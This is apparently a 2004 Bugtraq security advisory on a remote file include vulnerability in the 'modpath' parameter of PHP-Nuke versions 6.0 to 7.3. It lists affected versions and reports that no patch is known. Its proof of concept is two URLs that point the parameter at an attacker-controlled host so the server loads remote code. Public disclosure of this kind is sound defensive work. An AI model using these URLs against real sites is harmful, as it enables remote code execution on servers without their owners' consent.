PHP-Nuke Modpath Parameter Potential File Include Vulnerability

Bugtraq ID:	10365
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 17 2004 12:00AM
Updated:	May 17 2004 12:00AM
Credit:	The discovery of this issue is credited to Janek Vind waraxe <[email protected]>.
Vulnerable:	Francisco Burzi PHP-Nuke 7.3 Francisco Burzi PHP-Nuke 7.2 Francisco Burzi PHP-Nuke 7.1 Francisco Burzi PHP-Nuke 7.0 FINAL Francisco Burzi PHP-Nuke 7.0 Francisco Burzi PHP-Nuke 6.9 Francisco Burzi PHP-Nuke 6.7 Francisco Burzi PHP-Nuke 6.6 Francisco Burzi PHP-Nuke 6.5 RC3 Francisco Burzi PHP-Nuke 6.5 RC2 Francisco Burzi PHP-Nuke 6.5 RC1 Francisco Burzi PHP-Nuke 6.5 FINAL Francisco Burzi PHP-Nuke 6.5 BETA 1 Francisco Burzi PHP-Nuke 6.5 Francisco Burzi PHP-Nuke 6.0
Not Vulnerable:

PHP-Nuke Modpath Parameter Potential File Include Vulnerability

PHP-Nuke is prone to a potential file include vulnerability. This issue could allow a remote attacker to include malicious files containing aribtrary code to be executed on a vulnerable system. This issue can be exploited via the 'modpath' parameter.

If successful, the malicious script supplied by the attacker will be executed in the context of the web server hosting the vulnerable software.

PHP-Nuke Modpath Parameter Potential File Include Vulnerability

There is no exploit required.

The following proof of concept is available:
http://www.example.com/nuke73/index.php?modpath=ftp://attacker.com/directory/
http://www.example.com/nuke73/index.php?modpath=//attacker_ip/share_name/

PHP-Nuke Modpath Parameter Potential File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

PHP-Nuke Modpath Parameter Potential File Include Vulnerability

References:

• PHPNuke INP Homepage (PHPNuke INP)